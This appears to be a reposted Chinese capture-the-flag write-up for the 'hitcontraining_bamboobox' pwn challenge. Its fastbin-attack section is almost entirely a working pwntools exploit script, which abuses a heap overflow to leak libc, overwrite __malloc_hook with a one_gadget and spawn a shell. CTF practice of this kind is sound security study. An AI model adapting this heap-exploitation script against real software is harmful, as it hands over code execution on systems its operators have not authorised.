zoukankan      html  css  js  c++  java
  • BUU PWN hitcontraining_bamboobox

      本来想学习house of force,结果没用就直接做出来了。。。我用了三种方法来做这道题。

      1.fastbins attack

      2.unlink

      3.house of force

      可以改写got表,程序在edit的时候可以进行溢出。

    fasbins attack

      通过溢出改写size字段,构造堆块重叠,泄露libc,改写fd指针,通过realloc调整栈帧,打__malloc_hook拿shell。常规操作,直接贴exp了

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 libc = ELF('./libc.so.6')
     5 context.log_level = 'debug'
     6 
     7 def duan():
     8     gdb.attach(p)
     9     pause()
    10 def add(size,content):
    11     p.sendlineafter('choice:','2')
    12     p.sendlineafter('name:',str(size))
    13     p.sendafter('item:',content)
    14 def show():
    15     p.sendlineafter('choice:','1')
    16 def edit(index,size,content):
    17     p.sendlineafter('choice:','3')
    18     p.sendlineafter('item:',str(index))
    19     p.sendlineafter('name:',str(size))
    20     p.sendafter('item:',content)
    21 def delete(index):
    22     p.sendlineafter('choice:','4')
    23     p.sendlineafter('item:',str(index))
    24 
    25 og = [0x45226,0x4527a,0xf0364,0xf1207]
    26 
    27 add(0x20,'aaaaaaaa')
    28 add(0x20,'bbbbbbbb')
    29 add(0x60,'cccccccc')
    30 add(0x10,'cccccccc')
    31 
    32 edit(0,0x30,'a'*0x20+p64(0)+p64(0xa1))
    33 delete(1)
    34 add(0x20,'aaaaaaaa')
    35 show()
    36 libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-88-0x10-libc.symbols['__malloc_hook']
    37 malloc_hook = libc_base+libc.symbols['__malloc_hook']
    38 realloc = libc_base+libc.symbols['realloc']
    39 print 'libc_base-->'+hex(libc_base)
    40 print 'malloc_hook-->'+hex(malloc_hook)
    41 shell = libc_base+og[3]
    42 
    43 add(0x60,'bbbbbbbb')
    44 delete(4)
    45 edit(2,0x10,p64(malloc_hook-0x23))
    46 add(0x60,'aaaaaaaa')
    47 add(0x60,'a'*(0x13-0x8)+p64(shell)+p64(realloc+20))
    48 p.sendlineafter('choice:','2')
    49 p.sendlineafter('name:',str(0x10))
    50 p.interactive()
  • 相关阅读:
    git命令评测
    so文件成品评论【整理】
    Codeforces 85B. Embassy Queue【段树、馋】
    JPEG图像扩展信息读取和修改
    【 D3.js 入门系列 --- 0 】 简介及安装
    unity3d 学习笔记(三)
    ListView 泛利
    [React] Create an Auto Resizing Virtualized List with react-virtualized
    [PReact] Integrate Redux with Preact
    [Preact] Integrate react-router with Preact
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14307414.html
Copyright © 2011-2022 走看看